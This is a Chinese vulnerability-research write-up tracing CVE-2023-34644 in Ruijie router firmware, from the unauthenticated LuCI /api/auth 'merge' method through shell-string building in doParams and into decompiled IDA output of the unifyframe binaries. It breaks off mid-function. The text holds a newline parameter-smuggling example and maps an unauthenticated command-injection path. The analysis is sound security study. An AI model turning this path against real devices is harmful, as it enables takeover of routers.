LuCI框架 就是用 Lua 写的 OpneWrt 路由器 Web 控制面板框架
使用 MVC 结构,分成三层:
层
作用
Model
调系统配置(UCI),负责数据
View
网页界面(HTML模板)
Controller
路由逻辑,处理请求
如何判断?看系统里有没有
如果有的话,基本就是了
Lua文件调用链分析 在 squashfs-root/usr/lib/lua/luci/controller/eweb/api.lua 文件下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 module ("luci.controller.eweb.api" , package .seeall )function index () local function authenticator (validator) local http = require "luci.http" local sid = http.formvalue("auth" , true ) or false if sid then local sauth = require "luci.sauth" sid = sid:match ("^[a-f0-9]*$" ) local sdat = sauth.read (sid) if sdat then if type (sdat) == "table" then return sdat end end end local tool = require "luci.utils.tool" local _ok, _auth = tool.doCheck() if _ok and _auth then return {sid = _auth, token = _auth} end if not string .match (http.getenv ('HTTP_REFERER' ) or "" , "^.+/snos_red_%d+\.%d+\.%d+\.%d+/.+" ) then tool.logout() end http.status (403 , "Forbidden Api" ) http.write_json({code = 2 , msg = "403 Forbidden, auth is not passed" }) end local api = node("api" ) api.sysauth = "admin" api.sysauth_authenticator = authenticator api.notemplate = true entry({"api" , "auth" }, call("rpc_auth" ), nil ).sysauth = false entry({"api" , "common" }, call("rpc_common" ), nil ) entry({"api" , "cmd" }, call("rpc_cmd" ), nil ) entry({"api" , "system" }, call("rpc_system" ), nil ) entry({"api" , "diagnose" }, call("rpc_diagnose" ), nil ) entry({"api" , "overview" }, call("rpc_overview" ), nil ) entry({"api" , "network" }, call("rpc_network" ), nil ) entry({"api" , "wireless" }, call("rpc_wireless" ), nil ) entry({"api" , "download" }, call("down_file" ), nil ) entry({"api" , "switch" }, call("rpc_switch" ), nil ) entry({"api" , "openvpn" }, call("openvpn" ), nil )end
这里首先定义了一个模块
1 module ("luci.controller.eweb.api" , package .seeall )
Lua 中模块的命名方式是用“点”表示层级,例如:
这个作用是,让 LuCI 知道
这个文件属于 luci.controller.eweb.api 模块
文件内部的 index() 是控制器入口
这个文件要用于注册路由
就是告诉 LuCI:这是一个控制器模块 而 luci.controller.eweb.api ↔ /usr/lib/lua/luci/controller/eweb/api.lua
LuCI 会根据这个名字去对应的路径加载文件
然后执行 index() 配置路由
路由的意思就是:比如 entry({“api”, “switch”}, call(“rpc_switch”), nil),那么 url 路径为 /api/switch ,就会执行 rpc_switch
这里配置
1 entry({"api" , "auth" }, call("rpc_auth" ), nil ).sysauth = false
这意味着当用户访问 /api/auth 路径时,将调用 rpc_auth,然后 sysauth 属性控制是否需要系统级的用户认证才可以访问该路由,这里 false 表示不需要,即无需认证即可访问 /api/auth
然后来看 rpc_auth
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function rpc_auth () local jsonrpc = require "luci.utils.jsonrpc" local http = require "luci.http" local ltn12 = require "luci.ltn12" local _tbl = require "luci.modules.noauth" if tonumber (http.getenv ("HTTP_CONTENT_LENGTH" ) or 0 ) > 1000 then http.prepare_content("text/plain" ) return "too long data" end http.prepare_content("application/json" ) ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write )end
然后最后一句调用 handle,传入的是 luci.modules.noauth 文件返回的内容,类型为 table,包含 noauth 问及那定义的四个函数 login / singleLogin / merge / checkNet
http.source() 用于从 http 请求体中读取数据
ltn12.pump.all( 响应源, http.write ) ,把 handle 返回的响应源所产生的所有响应数据交给 http.write ,写出到 http 响应流, 直到响应源结束 这是把“处理后的结果”最终输出给客户端的操作。
然后看 luci.utils.jsonrpc 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 module ("luci.utils.jsonrpc" , package .seeall )require "luci.json" function resolve (mod, method) local path = luci.util.split(method, "." ) for j = 1 , #path - 1 do if not type (mod ) == "table" then break end mod = rawget (mod , path [j]) if not mod then break end end mod = type (mod ) == "table" and rawget (mod , path [#path ]) or nil if type (mod ) == "function" then return mod end end function handle (tbl, rawsource, ...) local decoder = luci.json.Decoder() local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink()) local json = decoder:get() local response local success = false if stat then if type (json.method) == "string" then local method = resolve(tbl, json.method) if method then response = reply(json.jsonrpc, json.id, proxy(method, json.params or {})) else response = reply(json.jsonrpc, json.id, nil , {code = -32601 , message = "Method not found." }) end else response = reply(json.jsonrpc, json.id, nil , {code = -32600 , message = "Invalid request." }) end else response = reply("2.0" , nil , nil , {code = -32700 , message = "Parse error." , err = err}) end return luci.json.Encoder(response, ...):source()end function reply (jsonrpc, id, res, err) require "luci.json" id = id or luci.json.null if jsonrpc ~= "2.0" then jsonrpc = nil res = res or luci.json.null err = err or luci.json.null end return {id = id, data = res, error = err, jsonrpc = jsonrpc, code = 0 }end function proxy (method, ...) local tool = require "luci.utils.tool" local res = {luci.util.copcall(method, ...)} local stat = table .remove (res, 1 ) if not stat then tool.debug ("[" .. os .date () .. " -s]" .. "===== RPC ERROR LOG" , {params = ...}) return nil , {code = -32602 , data = "jsonrpc:81" , res = res} else if #res <= 1 then return res[1 ] or luci.json.null else tool.debug ("[" .. os .date () .. " -s]" .. "===== RPC ERROR LOG" , {params = ...}) return {code = -32603 , data = "jsonrpc:89" , res = res} end end end
这四个函数的作用分别是
resolve:找出 method 对应的 lua 函数
handle:RPC 主流程(读 json->找函数->执行->回包)
reply:生成符合 JSON-RPC 的响应
proxy:安全执行目标函数
解释一些名词
RPC:远程过程调用,把”网络请求”变为”函数调用”
1 客户端 -> 发送 json 请求 -> 服务器(路由器)执行对应的函数(merge/login 等) -> 返回 json 格式的结果 -> 客户端
JSON: (JavaScript Object Notation) 最常用的数据交换格式,看起来像是
1 2 3 4 5 { "method" : "merge" , "params" : [ 1 , 2 , 3 ] , "id" : 10 }
开关机动画,AI API、前后台通信、配置文件全部用的都是 JSON
下面看上面调用的 handle 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function handle (tbl, rawsource, ...) local decoder = luci.json.Decoder() local stat, err = luci.ltn12.pump.all(rawsource, decoder:sink()) local json = decoder:get() local response local success = false if stat then if type (json.method) == "string" then local method = resolve(tbl, json.method) if method then response = reply(json.jsonrpc, json.id, proxy(method, json.params or {})) else response = reply(json.jsonrpc, json.id, nil , {code = -32601 , message = "Method not found." }) end else response = reply(json.jsonrpc, json.id, nil , {code = -32600 , message = "Invalid request." }) end else response = reply("2.0" , nil , nil , {code = -32700 , message = "Parse error." , err = err}) end return luci.json.Encoder(response, ...):source()end
主要作用就是把参数 tbl 和 报文中 method 字段传给 resolve 函数
下面看 resolve 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function resolve (mod, method) local path = luci.util.split(method, "." ) for j = 1 , #path - 1 do if not type (mod ) == "table" then break end mod = rawget (mod , path [j]) if not mod then break end end mod = type (mod ) == "table" and rawget (mod , path [#path ]) or nil if type (mod ) == "function" then return mod end end
主要作用就是解析 method 字段对应的函数,然后赋值给 mod ,返回值给 method ,然后回到 handle 函数中,进入 proxy(method, json.params or {}) 第一个参数就是我们上面 resolve 解析出的 method ,第二个时 json.params 字段,如果不存在就传入 {}(空表)
method 中的函数在 noauth.lua 之中,接下来就来看 noauth.lua
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 module ("luci.modules.noauth" , package .seeall )function login (params) local disp = require ("luci.dispatcher" ) local common = require ("luci.modules.common" ) local tool = require ("luci.utils.tool" ) if params.password and tool.includeXxs(params.password) then tool.eweblog("INVALID DATA" , "LOGIN FAILED" ) return end local authOk local ua = os .getenv ("HTTP_USER_AGENT" ) or "unknown brower (ua is nil)" tool.eweblog(ua, "LOGIN UA" ) local checkStat = { password = params.password, username = "admin" , encry = params.encry, limit = params.limit } local authres, reason = tool.checkPasswd(checkStat) local log_opt = {username = params.username, level = "auth.notice" } if authres then authOk = disp.writeSid("admin" ) if params.time and tonumber (params.time ) then common.setSysTime({time = params.time }) end log_opt.action = "login-success" else log_opt.action = "login-fail" end tool.write_log(log_opt) return authOkend function singleLogin () local sauth = luci.sauth local fs = require "nixio.fs" local config = require ("luci.config" ) config .sauth = config .sauth or {} local sessionpath = config .sauth.sessionpath if sauth.sane() then local id for id in fs.dir(sessionpath) do sauth.kill(id) end end end function merge (params) local cmd = require "luci.modules.cmd" return cmd.devSta.set({device = "pc" , module = "networkId_merge" , data = params, async = true })end function checkNet (params) if params.host then local tool = require ("luci.utils.tool" ) if string .len (params.host) > 50 or not tool.checkIp(params.host) then return {connect = false , msg = "host illegal" } end local json = require "luci.json" local _curl = 'curl -s -k -X POST \'http://%s/cgi-bin/luci/api/auth\' -H content-type:application/json -d \'{"method":"checkNet"}\'' % params.host local _data = json.decode(luci.sys.exec(_curl)) if type (_data) == "table" then if type (_data.data) == "table" then return _data.data end return {connect = false } else return {connect = false } end else return {connect = true } end end
其中,singleLogin 中没有 params ,没可控参数,不用看;checkNet 有 params.host ,并且拼入命令执行字符串,不过前面有 tool.checkIp(params.host) 负责检查,无法绕过;然后就是 login,看起来有许多可控字段:params.password,pawams.encry,params.limit 等,但实际上全部被过滤或者替换掉了。看处理 checkStat 的 tool.checkPasswd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function checkPasswd (checkStat) local cmd = require ("luci.modules.cmd" ) local _data = { type = checkStat.encry and "enc" or "noenc" , password = checkStat.password, name = checkStat.username, limit = checkStat.limit and "true" or nil } local _check = cmd.devSta.get({module = "adminCheck" , device = "pc" , data = _data}) if type (_check) == "table" and _check.result == "success" then return true end return false , _check.reasonend
这里导致 encry 和 limit 变成固定值,不可控了,只剩下 password
然后这里调用了
1 local _check = cmd.devSta.get({module = "adminCheck" , device = "pc" , data = _data})
就是调用 cmf 的 devSta 中的 get,下面看 devSta.get
1 2 3 4 5 6 7 devSta[opt[i]] = function (params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password)end
首先调用 doParams 对参数处理,接着调用 fetch,先看 doParams
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 local function doParams (params) require "luci.json" if type (params.data) == "table" then params.data.currentTime = nil params.data.configTime = nil params.data.configId = nil end local tool = require "luci.utils.tool" if tool.includeXxs(params.module ) or tool.includeXxs(params.method) then params.module = "illegalMoule" params.method = "illegalMethod" end if (not params.module or not params.method) then return "please input module" else local data, back, ip, password = nil , nil , nil , nil local _shell = params.cfg_cmd .. " " .. params.method .. " --module '" .. params.module .. "'" if params.remoteIp then _shell = _shell .. " -i '" .. params.remoteIp .. "'" ip = params.remoteIp end if params.remotePwd and not (params.cur) then _shell = _shell .. " -p '" .. params.remotePwd .. "'" password = params.remotePwd end if params.data then data = luci.json.encode(params.data) _shell = _shell .. " '" .. data .. "'" end if params.async == true or params.async == "true" then back = 0 _shell = _shell .. " -b 0 " elseif params.async == false or params.async == "false" then back = 1 _shell = _shell .. " -b 1 " end return data, back, ip, password, _shell end end
这里对我们存放在 params.data 里的 password 进行了一些处理
1 data = luci.json.encode(params.data)
接下来是处理的函数
1 2 3 4 5 6 7 8 9 10 function encode (obj, ...) local out = {} local e = Encoder(obj, 1 , ...):source() local chnk, err repeat chnk, err = e() out[#out+1 ] = chnk until not chnk return not err and table .concat (out) or nil end
这个函数就是对传入的字符串进行 json 编码,会把 \n 字符 编码为 \u00a ,漏洞被补上,所以只剩下 merge
\n 可能导致:
注入额外参数,例如 attacker\nrole=admin ,服务端会读取两行
1 2 username = attackerrole = admin
从而伪造新参数
下面分析 merge
1 2 3 4 5 function merge (params) local cmd = require "luci.modules.cmd" return cmd.devSta.set({device = "pc" , module = "networkId_merge" , data = params, async = true })end
可以看到没有对 params 处理,调用了 devSta.set,接下来看这个的代码
1 2 3 4 5 6 7 devSta[opt[i]] = function (params) local model = require "dev_sta" params.method = opt[i] params.cfg_cmd = "dev_sta" local data, back, ip, password, shell = doParams(params) return fetch(model.fetch, shell, params, opt[i], params.module , data, back, ip, password)end
data 字段可控(params里的内容)
这里最后调用了 fetch ,下面就来看这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 local function fetch (fn, shell, params, ...) require "luci.json" local tool = require "luci.utils.tool" local _start = os .time () local _res = fn(...) tool.eweblog(shell, params.device, os .time () - _start) if params.method ~= "get" then tool.write_log({action = shell}) end if _res.code == 0 then _res = _res.data or "" if params.noParse then return _res end return _res and luci.json.decode(_res) or (_res or "" ) end return _resend
这里调用 local _res = fn(...) 就是 fetch 函数传进来的 model.fetch,而 model 是 dev_sta 的返回结果(devSta[get]中有说明),所以这里调用的实际是 dev_sta 中的 fetch 函数,接下来看这个函数的代码(路径为 /usr/lib/lua/dev_sta.lua)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 function fetch (cmd, module, param, back, ip, password, force, not_change_configId, multi) local uf_call = require "libuflua" local ctype ctype = get_ctype() param = param or "" ip = ip or "" password = password or "" if force and force == "1" then force = true else force = false end if back and back == "1" then back = true else back = false end if not_change_configId then not_change_configId = true else not_change_configId = false end if multi then multi = true else multi = false end local stat = uf_call.client_call(ctype, cmd, module , param, back, ip, password, force, not_change_configId, multi) return statend
可以看到调用了 libuflua.so(Lua扩展库) 中的 client_call 函数,路径是 usr/lib/lua/libuflua.so 下,下面进行分析,用 IDA 打开,没搜索到 client_call 看学习文章说 IDA 大概率没有把 client_call 解析成字符串,而是解析成代码,这里用 010editor 打开,搜索 client_call
发现在 0xff0 处,返回 IDA
发现确实被当成了代码来解析,选中这部分数据,按 a ,即可以字符串形式呈现
寻找交叉调用(哪儿被调用)
1 2 3 4 5 int __fastcall luaopen_libuflua (int a1) { luaL_register(a1, "libuflua" , &off_1101C); return 1 ; }
该函数原型为
1 void luaL_register (lua_State *L, const char *libname, const luaL_Reg *l) ;
三个参数:
L:Lua 虚拟机的状态机指针,一个结构体,里面包含整个 Lua 环境的所有运行信息,就是当前 Lua 解释器的上下文
libname:给 Lua 模块快起的名字
l:函数映射表,里面包括 Lua 函数名+对应的 C 函数指针
所以现在查看 off_1101C 里的内容
得出结论,sub_A00 中就是 client_call 中的代码,下面来分析这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 int __fastcall sub_A00 (int a1) { int v2; int v3; int v4; int v5; int v6; int v7; int v8; int v9; int v10; int v11; int v13[3 ]; v13[0 ] = 0 ; v2 = malloc (52 ); v3 = v2; if ( v2 ) { memset (v2, 0 , 52 ); v5 = 4 ; *(_DWORD *)v3 = luaL_checkinteger(a1, 1 ); *(_DWORD *)(v3 + 4 ) = luaL_checklstring(a1, 2 , 0 ); v6 = luaL_checklstring(a1, 3 , 0 ); v7 = *(_DWORD *)v3; *(_DWORD *)(v3 + 8 ) = v6; if ( v7 != 3 ) { *(_DWORD *)(v3 + 12 ) = lua_tolstring(a1, 4 , 0 ); *(_BYTE *)(v3 + 41 ) = lua_toboolean(a1, 5 ) == 1 ; v5 = 6 ; *(_BYTE *)(v3 + 40 ) = 1 ; } *(_DWORD *)(v3 + 20 ) = lua_tolstring(a1, v5, 0 ); *(_DWORD *)(v3 + 24 ) = lua_tolstring(a1, v5 + 1 , 0 ); v8 = v5 + 2 ; if ( *(_DWORD *)v3 ) { if ( *(_DWORD *)v3 == 2 ) { v8 = v5 + 3 ; *(_BYTE *)(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) == 1 ; } } else { *(_BYTE *)(v3 + 43 ) = lua_toboolean(a1, v5 + 2 ) == 1 ; v8 = v5 + 4 ; *(_BYTE *)(v3 + 44 ) = lua_toboolean(a1, v5 + 3 ) == 1 ; } *(_BYTE *)(v3 + 48 ) = lua_toboolean(a1, v8) == 1 ; v4 = uf_client_call(v3, v13, 0 ); } else { v13[0 ] = strdup("memory full!" ); v4 = -1 ; } lua_createtable(a1, 0 , 0 ); lua_pushstring(a1, "code" ); if ( v4 ) { lua_pushnumber(a1, v9, loc_1000, loc_1004); lua_rawset(a1, -3 ); lua_pushstring(a1, "err" ); lua_pushstring(a1, v13[0 ]); lua_rawset(a1, -3 ); lua_pushstring(a1, "data" ); v10 = a1; v11 = 0 ; } else { lua_pushnumber(a1, v9, 0 , 0 ); lua_rawset(a1, -3 ); lua_pushstring(a1, "err" ); lua_pushstring(a1, 0 ); lua_rawset(a1, -3 ); lua_pushstring(a1, "data" ); v11 = v13[0 ]; v10 = a1; } lua_pushstring(v10, v11); lua_rawset(a1, -3 ); if ( v13[0 ] ) free (); return 1 ; }
可以看到在 52 行调用了 uf_client_call,在文件系统下搜索该字符串
1 2 3 4 5 6 yy@yy-virtual-machine:~/桌面/CVE-2023-34644/_EW_3.0.1.B11P204_EW1200GI_09243000_install.bin.extrted/squashfs-root$ grep -r "uf_client_call" ./ 匹配到二进制文件 ./usr/lib/lua/libuflua.so 匹配到二进制文件 ./usr/lib/libunifyframe.so 匹配到二进制文件 ./usr/sbin/uf_sys 匹配到二进制文件 ./usr/sbin/uf_ubus_call.elf 匹配到二进制文件 ./usr/sbin/unifyframe-sgi.elf
匹配到以下库,再回到 libuflua.so 中看到
所以可以判断出 uf_client_call 函数在 ./usr/lib/libunifyframe.so 之中,用 IDA 打开查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 int __fastcall uf_client_call (int a1, int a2, int a3) { ..... switch ( *(_DWORD *)a1 ) { ..... case 2 : v7 = ((int (*)(void ))strlen )() + 8 ; v8 = calloc (v7, 1 ); v9 = 433 ; if ( !v8 ) goto LABEL_20; v10 = v8; v11 = v7; v12 = "devSta.%s" ; goto LABEL_22; case 3 : v15 = ((int (*)(void ))strlen )() + 8 ; v8 = calloc (v15, 1 ); v9 = 463 ; if ( !v8 ) goto LABEL_20; v10 = v8; v11 = v15; v12 = "devCap.%s" ; goto LABEL_22; case 4 : v16 = ((int (*)(void ))strlen )() + 7 ; v17 = calloc (v16, 1 ); v8 = v17; if ( !v17 ) { v9 = 473 ; LABEL_20: uf_log_printf(uf_log, "ERROR (%s %s %d)malloc failed!" , "lib_unifyframe.c" , "uf_client_call" , v9); goto LABEL_24; } v10 = v17; v11 = v16; v12 = "ufSys.%s" ; LABEL_22: if ( snprintf (v10, v11, v12, v6) < 0 ) { free (v8); LABEL_24: json_object_put(v4); syslog(3 , "(%s %s %d)method snprintf failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } v18 = json_object_new_string(v8); free (v8); if ( !v18 ) { json_object_put(v4); syslog(3 , "(%s %s %d)new obj_method failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } json_object_object_add(v4, "method" , v18); v19 = json_object_new_object(); if ( !v19 ) { json_object_put(v4); syslog(3 , "(%s %s %d)new obj_param failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } v20 = json_object_new_string(*(_DWORD *)(a1 + 8 )); if ( !v20 ) { json_object_put(v19); json_object_put(v4); syslog(3 , "(%s %s %d)new obj_module failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } json_object_object_add(v19, "module" , v20); v21 = *(_DWORD *)(a1 + 20 ); if ( !v21 ) goto LABEL_34; v22 = json_object_new_string(v21); if ( !v22 ) goto LABEL_40; json_object_object_add(v19, "remoteIp" , v22); LABEL_34: v23 = *(_DWORD *)(a1 + 24 ); if ( v23 ) { v24 = json_object_new_string(v23); if ( !v24 ) { json_object_put(v19); json_object_put(v4); syslog(3 , "(%s %s %d)new obj_passwd failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } json_object_object_add(v19, "remotePwd" , v24); } if ( *(_DWORD *)(a1 + 36 ) ) { v25 = json_object_new_int(); if ( !v25 ) { LABEL_40: json_object_put(v19); json_object_put(v4); syslog(3 , "(%s %s %d)new obj_remoteip failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } json_object_object_add(v19, "buf" , v25); } if ( *(_DWORD *)a1 ) { if ( *(_DWORD *)a1 != 2 ) { v26 = *(unsigned __int8 *)(a1 + 45 ); goto LABEL_56; } if ( *(_BYTE *)(a1 + 42 ) ) { v28 = json_object_new_boolean(1 ); if ( v28 ) { v29 = v19; v30 = "execute" ; goto LABEL_54; } } } else { if ( *(_BYTE *)(a1 + 43 ) ) { v27 = json_object_new_boolean(1 ); if ( v27 ) json_object_object_add(v19, "force" , v27); } if ( *(_BYTE *)(a1 + 44 ) ) { v28 = json_object_new_boolean(1 ); if ( v28 ) { v29 = v19; v30 = "configId_not_change" ; LABEL_54: json_object_object_add(v29, v30, v28); } } } v26 = *(unsigned __int8 *)(a1 + 45 ); LABEL_56: if ( v26 ) { v31 = json_object_new_boolean(1 ); if ( v31 ) json_object_object_add(v19, "from_url" , v31); } if ( *(_BYTE *)(a1 + 47 ) ) { v32 = json_object_new_boolean(1 ); if ( v32 ) json_object_object_add(v19, "from_file" , v32); } if ( *(_BYTE *)(a1 + 48 ) ) { v33 = json_object_new_boolean(1 ); if ( v33 ) json_object_object_add(v19, "multi" , v33); } if ( *(_BYTE *)(a1 + 46 ) ) { v34 = json_object_new_boolean(1 ); if ( v34 ) json_object_object_add(v19, "not_commit" , v34); } if ( *(_BYTE *)(a1 + 40 ) ) { v35 = json_object_new_boolean(*(unsigned __int8 *)(a1 + 41 ) ^ 1 ); if ( v35 ) json_object_object_add(v19, "async" , v35); } v36 = *(_BYTE **)(a1 + 12 ); if ( !v36 || !*v36 ) goto LABEL_75; v37 = json_object_new_string(v36); if ( !v37 ) goto LABEL_78; json_object_object_add(v19, "data" , v37); LABEL_75: v38 = *(_BYTE **)(a1 + 16 ); if ( v38 && *v38 ) { v39 = json_object_new_string(v38); if ( !v39 ) { LABEL_78: json_object_put(v19); json_object_put(v4); syslog(3 , "(%s %s %d)new obj_data failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } json_object_object_add(v19, "device" , v39); } json_object_object_add(v4, "params" , v19); v40 = json_object_to_json_string(v4); if ( !v40 ) { json_object_put(v4); syslog(3 , "(%s %s %d)new json_object_to_json_string send buf failed" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } v41 = uf_socket_client_init(0 ); if ( v41 <= 0 ) { json_object_put(v4); v42 = *(const char **)(a1 + 12 ); v43 = *(const char **)(a1 + 4 ); v44 = *(const char **)(a1 + 8 ); v45 = *(_DWORD *)(a1 + 16 ); if ( v42 ) { if ( v45 ) { syslog( 3 , "(%s %s %d)uf_socket_client_init failed, caller: %s [ctype:%d %s -m %s %s]" , "lib_unifyframe.c" , "uf_client_call" , 651 , *(const char **)(a1 + 16 ), *(_DWORD *)a1, v43, v44, v42); return -1 ; } syslog( 3 , "(%s %s %d)uf_socket_client_init failed, [ctype:%d %s -m %s %s]" , "lib_unifyframe.c" , "uf_client_call" ); } else { if ( !v45 ) { syslog( 3 , "(%s %s %d)uf_socket_client_init failed, [ctype:%d %s -m %s]" , "lib_unifyframe.c" , "uf_client_call" , 662 , *(_DWORD *)a1, v43, v44); return -1 ; } syslog( 3 , "(%s %s %d)uf_socket_client_init failed, caller: %s [ctype:%d %s -m %s]" , "lib_unifyframe.c" , "uf_client_call" ); } return -1 ; } v46 = strlen (v40); uf_socket_msg_write(v41, v40, v46); json_object_put(v4); if ( *(_BYTE *)(a1 + 40 ) && *(_BYTE *)(a1 + 41 ) ) { uf_socket_close(v41); return 0 ; } v56 = 1 << (v41 & 0x1F ); v47 = &v53[4 * ((unsigned int )v41 >> 5 )]; v48 = 0 ; break ; default : goto LABEL_24; } while ( 1 ) { v50 = 4 * v48; if ( v48 < 0x20 ) goto LABEL_98; *(_DWORD *)v47 |= v56; v51 = select(v41 + 1 , v53, 0 , 0 ); if ( !v51 ) { uf_socket_close(v41); syslog(3 , "(%s %s %d)select timeout[%s]" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } if ( v51 >= 0 ) break ; v49 = (_DWORD *)_errno_location(); if ( (*v49 & 0xFFFFFFF7 ) != 4 ) { uf_socket_close(v41); strerror(*v49); syslog(3 , "(%s %s %d)select error %s" , "lib_unifyframe.c" , "uf_client_call" ); return -1 ; } syslog(3 , "(%s %s %d)socket EINTR or ENOMEM [%d]" , "lib_unifyframe.c" , "uf_client_call" , 691 , *v49); v48 = 0 ; v50 = 0 ; LABEL_98: *(_DWORD *)&v53[v50] = 0 ; ++v48; } if ( ((*(int *)v47 >> (v41 & 0x1F )) & 1 ) != 0 ) { v52 = uf_socket_msg_read(v41, a2); uf_socket_close(v41); if ( v52 >= 1 ) return 0 ; return v52; } else { syslog(3 , "(%s %s %d)FD_ISSET failed[%s]" , "lib_unifyframe.c" , "uf_client_call" , 710 , *(const char **)(a1 + 8 )); uf_socket_close(v41); return -1 ; } }
json_object_object_add 是一个 json-c 库里的函数,用来向 json 对象中添加键值,比如
1 2 3 4 5 6 7 json_object_object_add(obj, "name" , json_object_new_string("admin" )); json_object_object_add(obj, "id" , json_object_new_int(1 ));
socket基础概念
所以猜测,既然有 uf_socket_msg_write 发送数据,那就肯定有地方来接收数据,uf_socket_msg_read,在文件系统下搜索
1 2 3 4 yy@yy-virtual-machine:~/桌面/CVE-2023-34644/_EW_3.0.1.B11P204_EW1200GI_09243000_install.bin.extracted/squashfs-root$ grep -r uf_socket_msg_read ./ 匹配到二进制文件 ./usr/lib/lighttpd/mod_unifyframe.so 匹配到二进制文件 ./usr/lib/libunifyframe.so 匹配到二进制文件 ./usr/sbin/unifyframe-sgi.elf
发现 ./usr/sbin/unifyframe-sgi.elf,并且该文件还位于 /etc/init.d 出现
1 ./etc/init.d/unifyframe-sgi:PROG=/usr/sbin/unifyframe-sgi.elf
而 /etc/init.d 中存放的是系统服务启动脚本的目录,所以该进程从启动就一直存在,所以判断出 unifyframe-sgi.elf 文件就是接收 libunifyframe.so 中发来的数据的
二进制文件分析 这里借用 zikh26 师傅画的unifyframe-sgi.elf整体的流程图
读取数据 main函数里利用 uf_socket_msg_read 接收数据,其中 uf_socket_msg_read(*v29, v31 + 1) 第一个参数是文件描述符,第二个参数是接收数据存的位置
之后解析则是由 main 函数中的 parse_content 与 add_pkg_cmd2_task 进行
数据解析 调试到 parse_content 执行前
可以看到存参数的位置
发现参数是一个结构体地址,存了一些地址和数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 int __fastcall parse_content (int a1) { ... if ( !*(_DWORD *)(a1 + 4 ) ) goto LABEL_4; idx_2 = json_tokener_parse(); idx_1 = idx_2; if ( !idx_2 ) { n598 = 605 ; LABEL_4: uf_log_printf(uf_log, "ERROR (%s %s %d)para invalid!" , "sgi.c" , "parse_content" , n598); return -1 ; } if ( json_object_object_get_ex(idx_2, "params" , &v18) != 1 ) goto LABEL_31; if ( json_object_object_get_ex(v18, "device" , &v17) == 1 && json_object_get_type(v17) == 6 ) { string = (const char *)json_object_get_string(v17); if ( g_debug >= 3 ) uf_log_printf(uf_log, "(%s %s %d)caller:%s" , "sgi.c" , "parse_content" , 621 , string ); } else { string = 0 ; } if ( json_object_object_get_ex(idx_1, "method" , &v19) != 1 ) { LABEL_31: json_object_put(idx_1); return -1 ; } string_1 = json_object_get_string(v19); if ( !string_1 ) { uf_log_printf(uf_log, 